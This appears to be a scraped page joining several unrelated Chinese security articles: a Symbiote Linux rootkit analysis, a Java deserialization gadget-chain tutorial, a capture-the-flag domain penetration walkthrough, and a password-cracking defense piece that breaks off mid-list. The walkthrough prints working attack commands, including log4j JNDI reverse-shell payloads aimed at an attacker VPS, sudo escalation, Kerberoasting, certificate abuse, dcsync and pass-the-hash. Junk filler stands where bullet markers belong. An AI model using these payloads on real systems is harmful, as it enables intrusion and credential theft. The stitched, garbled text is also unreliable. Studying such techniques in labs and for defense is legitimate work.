網絡活動Symbiote 還具有隱藏受感染設備上的網絡活動的功能。它使用三種不同的方法來實現這一點。第一種方法涉及掛鉤fopen 和fopen64。如果調用應用程序嘗試打開/proc/net/tcp,惡意軟件會創建一個臨時文件並將第一行複製到該文件。然後,它掃描每一行,以確定是否存在特定端口。如果惡意軟件在它正在掃描的一行中找到了它正在搜索的端口,它就會跳到下一行。否則,該行被寫入臨時文件。一旦原始文件被完全處理,惡意軟件就會關閉文件,並將臨時文件的文件描述符返回給調用者。本質上,這給了調用進程一個清除的結果,它排除了惡意軟件想要隱藏的所有網絡連接條目。

Symbiote 用來隱藏其網絡活動的第二種方法是劫持任何注入的數據包過濾字節碼。 Linux 內核使用擴展的Berkeley Packet Filter (eBPF)來允許基於用戶域進程提供的規則進行數據包過濾。過濾規則以內核在虛擬機(VM) 上執行的eBPF 字節碼的形式提供。因為內核直接執行過濾,這最大限度地減少了內核和用戶空間之間的上下文切換,從而提高了性能。

如果受感染設備上的應用程序嘗試使用eBPF 執行數據包過濾,Symbiote 會劫持過濾過程。首先,它掛鉤了libc 函數setsockopt。如果使用選項SO_ATTACH_FILTER 調用該函數,該選項用於在套接字上執行數據包過濾,它會在調用應用程序提供的eBPF 代碼之前添加自己的字節碼。

代碼片段1 顯示了由其中一個Symbiote 樣本注入的字節碼的註釋版本。如果它們符合以下條件,則字節碼被釋放:

马云惹不起马云 IPv6(TCP 或SCTP)和src 端口(43253 或43753 或63424 或26424);

马云惹不起马云IPv6(TCP 或SCTP)和dst端口43253;

马云惹不起马云IPv4(TCP 或SCTP)和src 端口(43253 或43753 或63424 或26424);

马云惹不起马云IPv4(TCP 或SCTP)和dst端口(43253 或43753 或63424 或26424);

雖然此字節碼僅根據端口釋放數據包,但研究人員還觀察到基於IPv4 地址的流量過濾。在所有情況下,過濾都會對來自設備的入站和出站流量進行操作,以隱藏兩個方向的流量。如果條件不滿足,它只是跳轉到調用應用程序提供的字節碼的開頭。

如代碼片段1 所示,從其中一個樣本中提取的字節碼包含32 條指令。這段代碼不能單獨注入內核,因為它假定在它之後存在更多字節碼。這個字節碼中有一些跳轉,會跳到調用進程提供的字節碼的開頭。如果沒有調用者的字節碼,注入的字節碼會跳出邊界,這是內核不允許的。像這樣的字節碼要么必須手寫,要么通過修補編譯器生成的字節碼。這兩種選擇都表明該惡意軟件是由熟練的開發人員編寫的。

5.1.png

5.2.png

5.3.png

代碼片段1:從一個Symbiote 樣本中提取的帶註釋的字節碼

Symbiote 用來隱藏其網絡流量的第三種方法是掛鉤libpcap 函數。惡意軟件使用此方法過濾掉指向列表中域名的UDP 流量。它掛鉤函數pcap_loop 和pcap_stats 來完成這個任務。對於接收到的每個數據包,Symbiote 都會檢查UDP 有效負載以查找要過濾掉的域的子字符串。如果找到匹配項,惡意軟件會忽略該數據包並增加一個計數器。 pcap_stats 使用此計數器通過從處理的真實數據包數中減去計數器值來“更正”處理的數據包數。如果數據包有效負載不包含其列表中的任何字符串,則調用原始回調函數。該方法用於過濾掉UDP 數據包,而字節碼方法用於過濾掉TCP 數據包。通過使用這三種方法,惡意軟件可確保隱藏所有流量。

Symbiote的攻擊目標除了隱藏設備上的惡意活動外,該惡意軟件的目標是獲取憑據並為攻擊者提供遠程訪問。憑證收集是通過掛鉤libc 讀取函數來執行的。如果ssh 或scp 進程正在調用該函數,它會捕獲憑據。憑證首先使用嵌入式密鑰使用RC4 加密,然後寫入文件。例如,惡意軟件的一個版本將捕獲的憑據寫入文件/usr/include/certbot.h。

除了在本地存儲憑據外,還會洩露憑據。數據經過十六進制編碼並分塊,以通過DNS 地址(A) 記錄請求洩露到攻擊者控制的域名。 A 記錄請求的格式如下:

6.png

代碼片段2:Symbiote 用於洩露數據的DNS 請求結構

惡意軟件檢查設備是否在/etc/resolv.conf 中配置了名稱服務器。如果沒有,則使用Google 的DNS (8.8.8.8)。除了向域名發送請求外,Symbiote 還將其作為UDP 廣播發送。

對受感染計算機的遠程訪問是通過連接幾個Linux可插入身份驗證模塊(PAM)函數來實現的。當服務試圖使用PAM對用戶進行身份驗證時,惡意軟件會根據硬編碼的密碼檢查提供的密碼。如果提供的密碼匹配,掛起的函數將返回一個成功響應。由於鉤子在PAM中,所以它允許攻擊者對使用PAM的任何服務設備進行身份驗證。這包括像Secure Shell (SSH)這樣的遠程服務。

如果輸入的密碼與硬編碼的密碼不匹配,惡意軟件會將其保存並洩露,作為其鍵盤記錄功能的一部分。此外,惡意軟件還會向其命令與控制(C2) 域發送DNS TXT 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。如果收到響應,惡意軟件base64 會解碼內容,檢查內容是否已由正確的ed25519 私鑰簽名,使用RC4 解密內容,並在生成的bash 進程中執行shell 腳本。此功能可以作為一種打破僵局的方法運行,以在正常過程不起作用的情況下重新獲得對設備的訪問權限。

一旦攻擊者通過受感染設備的身份驗證,Symbiote 就會提供獲得root 權限的功能。首次加載共享對象時,它會檢查環境變量HTTP_SETTHIS。如果變量設置了內容,則惡意軟件將有效用戶和組ID 更改為root 用戶,然後通過系統命令在執行內容之前刪除變量。

此過程要求SO 設置了setuid 權限標誌。一旦系統命令退出,Symbiote 也會退出進程,以防止原始進程執行。下圖顯示了執行的代碼。這允許通過在shell 中以任何用戶身份運行HTTP_SETTHIS=' /bin/bash -p ' /bin/true作為shell中的任何用戶。

7.png

使用root權限執行命令的邏輯

網絡基礎設施Symbiote 惡意軟件使用的域名冒充巴西的一些主要銀行。這表明這些銀行或其客戶是Symbiote 的潛在目標。利用惡意軟件使用的域名,研究人員成功地發現了一個相關的樣本,該樣本被上傳到VirusTotal,名稱為certbotx64。這個文件名與我們最初獲得的Symbiote樣本中列出的一個文件相匹配。該文件被識別為一個名為dnscat2的開源DNS隧道工具。

該示例在二進製文件中有一個配置,該配置使用git[.]bancodobrasil[.]dev 域作為其C2 服務器。在2 月和3 月期間,該域名解析為與Njalla 的虛擬專用服務器(VPS) 服務相關聯的IP 地址。 DNS 記錄顯示,幾個月前,相同的IP 地址被解析為ns1[.]cintepol[.]link 和ns2[.]cintepol[.]link。 Cintepol是巴西聯邦警察提供的一個情報門戶,該門戶允許警察訪問聯邦警察提供的不同數據庫,作為他們調查的一部分。用於此冒充域名的名稱服務器從2021 年12 月中旬到2022 年1 月末一直處於活動狀態。

同樣從2022 年2 月開始,caixa[.]wf 域的名稱服務器指向另一個Njalla VPS IP。下圖顯示了這些事件的時間線。除了網絡基礎設施之外,還包括文件提交給VirusTotal 的時間戳。這三個Symbiote 樣本是由來自巴西的同一提交者上傳的。這些文件似乎是在基礎架構上線之前提交給VirusTotal 的。

鑑於這些文件是在基礎設施上線之前提交給VirusTotal 的,並且由於某些樣本包含隱藏本地IP 地址的規則,因此這些樣本有可能在使用之前提交給VirusTotal 以測試防病毒檢測。此外,巴西於11 月底提交了一個似乎正在開發中的版本,進一步表明VirusTotal 正被Symbiote 背後的攻擊者或組織用於檢測測試。

8.png

顯示文件何時提交給VirusTotal 以及網絡基礎設施何時啟動的時間線

與其他惡意軟件的相似之處Symbiote 似乎是為竊取憑據和提供對受感染Linux 服務器的遠程訪問而設計的。 Symbiote 並不是第一個為此目的開發的Linux 惡意軟件。 2014 年,ESET 發布了對Ebury 的深入分析,Ebury 是一個OpenSSH 後門,也會執行憑據竊取。兩個惡意軟件家族使用的技術有一些相似之處。兩者都使用掛鉤函數來捕獲憑據並將捕獲的數據作為DNS 請求外洩。但是,這兩個惡意軟件家族對後門的身份驗證方法是不同的。當我們第一次使用Intezer Analyze 分析樣本時,只檢測到唯一代碼。由於Symbiote 和Ebury/Windigo 或任何其他已知惡意軟件之間沒有共享代碼,研究人員得出結論,Symbiote 是一種新的、未被發現的Linux 惡意軟件。

9.png

總結Symbiote 是一種具有高度隱蔽性的惡意軟件。它的主要目標是捕獲憑據並加快對受感染設備的後門訪問。由於惡意軟件作為用戶級rootkit 運行,因此要檢測到它很困難。

0x01 前言我們通常把反序列化漏洞和反序列化利用鏈分開來看,有反序列化漏洞不一定有反序列化利用鏈(經常用shiro反序列化工具的人一定遇到過一種場景就是找到了key,但是找不到gadget,這也就是在這種場景下沒有可利用的反序列化利用鏈)。如果我們向某個漏洞提交平台提交一個反序列化漏洞,但是不給反序列化利用鏈,那麼平台大概率是不會接受這種漏洞的。

反序列化利用鍊是整個反序列化利用過程中最關鍵的一環,通常反序列化利用鏈需要藉助常用的第三方jar包,其中最有名的就是CommonCollections利用鏈(簡稱CC鏈)。

往期推薦

1、告別腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠程調試技巧

2、告別腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧

3、告別腳本小子系列丨JAVA安全(3)——JAVA反射機制

4、告別腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

5、告別腳本小子系列丨JAVA安全(5)——序列化與反序列化

0x02反序列化環境準備為了更方便初學者來學習反序列化利用鏈,我們首先要準備當前需要的實驗環境。學習反序列化利用鏈最好的辦法是參考ysoserial(https://github.com/frohoff/ysoserial),ysoserial是一個開源的集成化反序列化利用鏈工具,可以快速生成反序列化利用鏈payload。

如果是不追求細節的小伙伴,可以直接按照參照ysoserial使用文檔來生成payload,如下圖所示。

1656056253110337.png

本文的主要目的是教會小伙伴們告別腳本小子,所以就不直接使用編譯好的jar包,但是我們後面很多利用代碼會參考ysoserial中的代碼,ysoserial中關於反序列化利用鏈的代碼都在ysoserial.payloads包中。

我們的目的是不通過ysoserial框架,自己實現相應的反序列化利用鏈。我們搭建反序列化測試的基礎環境,新建maven項目,添加項目依賴的jar包。

1656056482765667.png

為了模擬序列化和反序列化的過程,編寫兩個公用的靜態方法,這兩個方法將在後面的反序列化利用鏈中被多次使用。其中searialize方法的作用是把對象obj序列化之後保存到文件filename中,unserialize方法的作用是把文件filename中的數據讀出來反序列化為對象。

1656057022119874.png

通過讀寫文件來模擬序列化和反序列化的過程是最直觀的實現方式,但是在實際環境中,我們遇到的都是基於POST輸入的字符輸入流來進行反序列化,如下圖所示。本地讀寫文件的反序列化和基於POST輸入字符的反序列化是完全沒有區別的,所以我們後面在研究反序列化利用鏈的時候都是通過本地文件讀寫的方式來實現,而不會準備專門的WEB漏洞環境。

1656057057835562.png

某系統反序列化漏洞實例

0x03 反序列化利用鏈0x3.1 URLDNS利用鏈URLDNS鍊是JAVA眾多利用鏈中最簡單的一條利用鏈,非常適合初學者研究學習,具有下面的特點:

1)利用鏈只依賴jdk本身提供的類,不依賴其他第三方類,所以具有很高的通用性,可以用於判斷目標是否存在反序列化漏洞。

2)利用鏈本身只能執行域名解析的操作,不能執行系統命令或者其他惡意操作。如果向漏洞提交平台提交反序列化漏洞,但是利用鍊是URLDNS的利用鏈,那麼漏洞提交平台可能會拒絕這個漏洞。

Ysoserial中關於URLDNS鏈的主要代碼如下圖3.1.1,圖3.1.2所示。這裡面有一個很關鍵的點是使用了自定義的SilentURLStreamHandler類,為什麼要使用這個自定義的類,我將在後面說明原因。

1656057124347053.png

圖3.1.1 生成URLDNS利用鏈對象

1656057125681216.png

圖3.1.2 自定義SilentURLStreamHandler類

我們先把ysoserial的代碼搬運到本地,做一名合格的搬運工。直接搬運過來之後運行payload可以查看到DNSLOG的日誌,證明搬運工沒有問題了。搬運過來之後需要去掉ysoserial中的反射調用,我們這裡沒有Reflections類,所以自己寫關於反射調用的代碼,如圖3.1.3所示,運行結果如圖3.1.4所示

1656057492128088.png

圖3.1.3 本地引用URLDNS利用鏈

1656057536210644.png

圖3.1.4 運行之後可以在DNSLOG查看DNS請求日誌

為了理清楚利用鏈的整個流程,我們在java.net. URLStreamHandler類的getHostAddress方法中下斷點調試一下,如圖3.1.5所示。1656057566522110.png

圖3.1.5 下斷點調試URLDNS利用鏈

運行整個payload,根據debug查看棧調用情況,如圖3.1.6所示。其中最關鍵的紅色的框中的部分,可以看出整個利用鏈非常簡單。

1656057604681965.png

圖3.1.6 URLDNS利用鏈的棧調用情況

首先反序列化入口是在HashMap的readObject,在這個方法中會調用本類的hash方法,如圖3.1.7所示。

1656057638166723.png

圖3.1.7 在HashMap的readObject方法中調用HashMap的hash方法

繼續跟進hash方法,在這個方法中會調用key的hashCode方法。 Key對應的值是java.net.URL類的對象,如圖3.1.8所示。

1656057707177043.png

圖3.1.8 通過hash方法調用URL類的hashCode方法

繼續跟進會調用java.net.URL類的hashCode方法,會調用handler字段的hashCode方法。而handler定義來自於URLStreamHandler類,所以會調用URLStreamHandler類的handler方法,如圖3.1.9所示。

1656057735909554.png

圖3.1.9 URL類的hashCode方法調用URLStreamHandler類的hashCode方法

繼續跟進java.net.URLStreamHandler類的hashCode方法,如圖3.1.10所示。這裡可以看出裡面就直接調用了getHostAddress方法,該方法執行之後會進行域名到IP地址的解析請求。

14.png

圖3.1.10 最終調用了域名解析相關的方法getHostAddress方法

到這裡已經看完了整個調用棧的流程,但是還是沒有找到任何理由必須要用自定義的SilentURLStreamHandler類。為了理清楚原因,我們對原來的payload進行修改,去除自定義的SilentURLStreamHandler類,如圖3.1.11所示。

1656057796826844.png

圖3.1.11 修改後的URLDNS利用鏈

還是在java.net. URLStreamHandler類的getHostAddress方法中下斷點。可以看到整個棧調用情況如圖3.1.12所示。可以看出觸發getHostAddress方法的入口點是從generalURLDNS2這個方法,而不是unserialize方法,也就是在生成序列化對象的時候就已經觸發了域名解析的請求。由於JAVA內部對DNS請求存在緩存機制,那麼在反序列化的時候會優先從DNS緩存中查找域名解析記錄,那麼反序列化的時候就收不到正確的DNS請求數據。

1656057822137179.png

圖3.1.12 修改後的URLDNS利用鏈

我們跟一下在生成payload時候觸發getHostAddress的流程,其中最關鍵的是執行HashMap中的put方法,如圖3.1.13所示。

1656057850115774.png

圖3.1.13 URLDNS利用鏈生成對象時調用HashMap的put方法

跟踪put方法的定義,如圖3.1.14所示。裡面會調用hash方法

1656057893998470.png

圖3.1.14 HashMap的put方法會調用本類的hash方法

剩下的流程和上面分析調用棧一樣,最終會導致觸發執行getHostAddress方法。

為了避免在生成payload的時候觸發DNS請求,影響反序列化時DNS請求的執行。有兩種解決辦法。

1)第一種就是像ysoserial代碼中的方式一樣,定義一個類繼承自URLStreamHandler,並且在類中重寫getHostAddress等方法,使得在序列化的時候不會執行getHostAddress方法。

2)第二種辦法是通過通過java.net.URL類中的hashCode方法中的邏輯來避免執行後續的getHostAddress方法。

第一種方法在ysoserial的代碼中已經寫很清楚了,這裡主要再說一下第二種方式。在整個利用鏈中一個很重要的步驟是會調用java.net.URL類中的hashCode方法。如圖3.1.15所示。

1656057973681984.png

圖3.1.15 java.net.URL類中的hashCode方法代碼邏輯

這裡有一個很重要的判斷語句是,如果hashCode不等於-1,則直接返回對應hashCode的值,否則調用hashCode方法計算對應的值。這裡需要特別注意的一點是這裡的hashCode既是java.net.URL類的方法,也是java.net.URL類的字段。所以我們需要

1)第一次put的時候把hashCode字段設置為不是-1的值,避免運行下面的handler.hashCode(this)。

2)生成序列化對象的時候又需要把hashCode字段設置為-1,因為反序列化的時候需要運行下面的handler.hashCode(this)。

所以我們也可以通過反射修改hashCode字段的方式來避免在序列化的時候觸發DNS請求,再次修改後的代碼如圖3.1.16所示。這裡最主要的是增加了通過反射修改hashCode字段的操作。

1656058030110427.png

圖3.1.16 通過控制hashCode字段避免序列化時候觸發DNS請求

這樣之後也能達到和ysoserial代碼一樣的效果。也能正常觸發URLDNS的請求,如圖3.1.17所示。

1656058060623699.png

圖3.1.17 通過修改的payload觸發URLDNS鏈的DNS請求

0x3.2CC鏈CC鍊是最早出現的影響較大的java反序列化利用鏈,原作者一共給出7條利用鏈,但是後來有很多大牛在此基礎上給出了一些改進的利用鏈,對初學者而言,學習CC鍊是屬於學習JAVA反序列化利用鏈的重要基礎。

關於CC鏈的內容很多,限於篇幅有限,這次的文章先開頭對部分CC鏈進行講解,關於CC鏈的更多內容將在下一篇文章中詳述。本次我們主要先講關於CC鏈中的Transform鏈。

在學習Transform鏈之前,首先需要說明JAVA中命令執行的方式。 JAVA中最典型的運行操作系統命令的辦法是通過Runtime類來執行,如圖3.2.1所示。

1656058111625903.png

圖3.2.1 JAVA中執行系統命令的方式

但是在反序列化的過程中不能直接通過Runtime來執行,因為Runtime類沒有繼承Serializable接口,如圖3.2.2所示。

1656058136364167.png

圖3.2.2 Runtime類沒有繼承Serializable接口

但是我們可以通過反射的方式來調用Runtime類執行,並且裡面涉及到的全部類都繼承了Serializable接口,如圖3.2.3所示。這裡有一個坑是,通過反射來執行方法的返回值類型一定是Object類型,需要做強制類型轉換,把Objectl類型轉化為Runtime類型。後續的Transform利用鏈基本上都是通過執行這段代碼來執行系統命令的。

1656058161160001.png

圖3.2.3 通過反射的方式來執行Runtime類的exec方法

嚴格來說Transform鏈屬於整個CC鏈中的Sink點,CC鏈基本上都是通過Transform來最終執行系統命令的。學習Tranform鍊是掌握CC鏈的基礎前提,最典型的Transform鏈如圖3.2.4所示。

1656058185182669.png

圖3.2.4 典型Transform鏈運行情況

直接運行上面的代碼是可以彈出計算器的,多數CC鏈最終也是通過調用類似的代碼來執行系統命令。為了理解Transforml鏈的內容,需要分開來看裡面涉及到的幾個類:InvokerTransformer類、ConstantTransformer類和ChainedTransformer類。

在InvokerTransformer類中,最主要的是transform方法。該方法中通過反射的方式執行任意一個類的方式,如圖3.2.5所示。 Transform執行的方法必須是public修飾符的。

1656058278599022.png

圖3.2.5 通過InvokerTransformer類的transform方法執行任意public方法

InvokerTransformer類的transform方法提供了一種執行任意其他方法的路徑,我們寫一個簡單的例子來幫助大家理解transform方法,如圖3.2.6所示。定義一個類TEST,類中定義一個方法Hello,那麼我們就可以通過tranform方法來執行TEST類的Hello方法。

1656058310116802.png

圖3.2.6 典型的transform方法調用

可能有的小伙伴會疑惑,我要執行Hello,為什麼不直接調用,非要通過transform來調用呢?試想一下,如果我們要執行的是“Runtime.getRuntime()”這樣的方法,但是整個系統中都沒有任何地方直接調用了這個,那麼我們是不是就可以通過transform來間接的執行這個方法呢。

但是現在通過transform來執行方法還有一個很明顯的不足,就是只能執行單個對象的單個方法,不能鍊式調用。形像一點來說明這個問題,我們可以執行”Runtime.getRuntim()”,但是我們不能執行“Runtime.getRuntime().exec(xxxx)”。我們需要找到鍊式調用的方式,幸運的是CommonsCollections中提供了另一個類ChainedTransformer。

ChainedTransformer類中提供了鍊式調用transform方法的辦法,如圖3.2.7所示。 ChainedTransformer類的構造方法是傳入Transformer類型的數組,通過transform方法依次遍歷數組中的每一個元素,上一步的方法調用的輸出作為下一步的方法調用的輸入,完美的鍊式調用解決辦法。

说明

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Solr、AD CS、SMB、Kerberos、域渗透

第一个flag

log4j RCE

扫描外网IP

qnhqhxj1oxs14351.png

发现solr存在log4j的组件,测试是否存在rce

o5v2lkwea3q14352.png
GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
xj0qvvofpso14353.png

dnslog回显

25mwli0u0bs14354.png

JNDI反弹shell,在VPS上开启

# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx

#开启监听
nc -lvvp 5555
3rzpoqcqmta14355.png

payload

${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}

发送请求

GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

成功反弹shell

gpirmronthy14356.png

sudo提权

sudo -l
ih2w2wcphz514357.png
sudo grc --help
fzim3lxne2b14358.png
sudo grc --pty whoami
ywdthyefh4x14359.png

查找flag

sudo grc --pty find / -name flag*
4mrr0xifh5g14360.png

输出flag

sudo grc --pty cat /root/flag/flag01.txt
0edm1r0ajdx14361.png

第二个flag

内网渗透

出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)

172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13
   [->]CA01
   [->]172.22.9.13
[*] 172.22.9.7     [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.26          XIAORANG\DESKTOP-CBKTVMO   
[+] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] 172.22.9.13          XIAORANG\CA01            
[*] WebTitle:http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] 172.22.9.47          WORKGROUP\FILESERVER        Windows 6.1
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin

发现以下资产

172.22.9.19 入口IP
172.22.9.7  DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA

根据提示,文件服务器应该存在smb的共享,进一步收集信息

注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描

sudo grc --pty nmap -sT -A 172.22.9.47
qubhiazg34i14362.png

使用 smbclient 连接共享

proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
fspo1fn0pgr14363.png

获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?

rpyxqjooikx14365.png

第三个flag

数据库文件中有几个用户名和密码

rc4rzpac5r014367.png

rdp破解

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
my2o1pbjptk14369.png

获得了两个账号,但是无法远程登录

Kerberoast攻击

使用GetUserSPNs.py寻找注册在域用户下的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
2xb0qar0q3o14371.png

hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本

hashcat64.exe -m 13100 1.txt rockyou.txt
oc4yuysmt4514373.png

得到zhangxia/MyPass2@@6,使用账号密码远程登录即可

注意,因为是域账号所以用户名为 zhangxia@xiaorang.lab,登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限

wguadkgrfjk14375.png

ADCS ESC1

使用Certify.exe定位漏洞

Certify.exe find /vulnerable
adqk2me5s0514377.png

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
4cecjj4er5214379.png

转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT

因为导出证书转换的时候并没有输入密码,所以这里密码留空就行

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
dy2a3cyeip214382.png

获取到域管的票据后导出哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
u4jma2fa5n314384.png

哈希传递

PTH 172.22.9.26

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
y5qpygc3fn214387.png

第四个flag

PTH DC

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7
d5xxwkrmshw14390.png

原文链接: https://zhuanlan.zhihu.com/p/581487685

惡意行為者通常以用戶和管理員憑據為目標,因為黑客希望使用它們來訪問敏感數據。據Verizon 稱,在2021 年受到社會工程攻擊的數據中,憑據攻擊佔高達85%。為了竊取用戶憑據,黑客可以使用惡意軟件或各種密碼破解方法。

密碼策略薄弱和密碼破解缺乏保護是導致帳戶洩露的兩個最常見的漏洞。

在本文中,我們討論了密碼破解的危險,並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問,並提供有關如何配置Fail2ban 的分步指南,並分享我們自己在Viber 聊天機器人中配置Fail2ban 通知的經驗。

什麼是密碼破解?要訪問Web 應用程序,用戶需要在系統內創建配置文件。為此,用戶通常會創建一個登錄名和密碼作為保護帳戶訪問的憑據。根據應用程序類型,他們可能還必須提供其他數據,例如個人信息、消息和銀行賬戶。所有這些數據對威脅參與者都很有價值,他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。

在開發Web 應用程序時,必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則,如果攻擊者設法訪問用戶帳戶並暴露個人信息,Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭,他們也可能承擔經濟損失。

image.png

密碼破解的後果

竊取用戶數據的一種方法是密碼破解。

這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身並不一定是惡意的,它可以作為一種目標漏洞驗證技術用於安全測試。

密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行,以識別密碼較弱的帳戶。

——NIST SP 800-115信息安全測試和評估技術指南

在應用密碼破解技術時,黑客經常使用特殊的應用程序和工具來應用多種憑證變體,直到找到正確的配對。密碼破解應用程序每秒用於猜測密碼的憑據數量取決於攻擊者計算機的性能。此外,猜測用戶密碼所需的時間取決於密碼強度。

有多種密碼破解方法:image.png

密碼破解攻擊的類型

字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解字典,其中存儲了常用的密碼和熟悉的單詞,例如不同語言的名稱和地點。此類字典還可以包括黑客收集和添加的先前被盜的用戶憑據。字典攻擊是猜測弱密碼的一種快速方法,但通常對於不常見的強密碼它們不會成功。

蠻力攻擊是一種簡單的試錯法,專注於生成所有可能的密碼,直到一定長度。黑客檢查所有密碼組合,包括所有字母、數字和特殊符號的組合,從可能的最小密碼長度開始。可能的組合數量取決於密碼的長度。理論上,這種破解方法的成功率是100%。這只是時間問題,因為短密碼可以在幾分鐘內猜出,而非常長且複雜的密碼可能需要數十年才能破解。

彩虹攻擊。大多數應用程序使用哈希對用戶密碼進行加密,並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希的彩虹表來破解數據庫中的密碼哈希。

網絡釣魚。通過網絡釣魚,攻擊者誘騙用戶單擊電子郵件附件或URL 鏈接,導致他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。

反向蠻力。惡意行為者對多個用戶名使用通用密碼來訪問帳戶。

憑證填充。如果黑客知道被盜帳戶的用戶名和密碼,他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。根據Security eMagazine的數據,53% 的人承認為不同的帳戶使用相同的密碼。

希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此,讓我們探討如何保護用戶數據免遭密碼破解並減輕帳戶洩露的網絡安全風險。

保護您的Web 應用程序免受密碼破解的7 種方法為了保護您的產品的用戶帳戶不被盜用,您需要實施一種綜合方法。下面,我們將討論緩解密碼破解的七種最必要的網絡安全實踐。

image.png

保護您的Web 應用程序免受密碼破解的7 種方法

1. 引入嚴格的密碼管理政策密碼越複雜,黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則,以防止用戶創建弱憑據。

創建密碼規則列表時,請考慮研究頂級技術組織推薦和使用的內容。例如,您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議,並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。

密碼策略的常見最佳實踐包括:

马云惹不起马云密碼應包含特殊符號、數字以及小寫和大寫字母。

马云惹不起马云最小密碼長度應為八個符號。越長越好。

马云惹不起马云密碼應在指定時間段內過期和更改:每月一次、每三個月一次、每年兩次等。

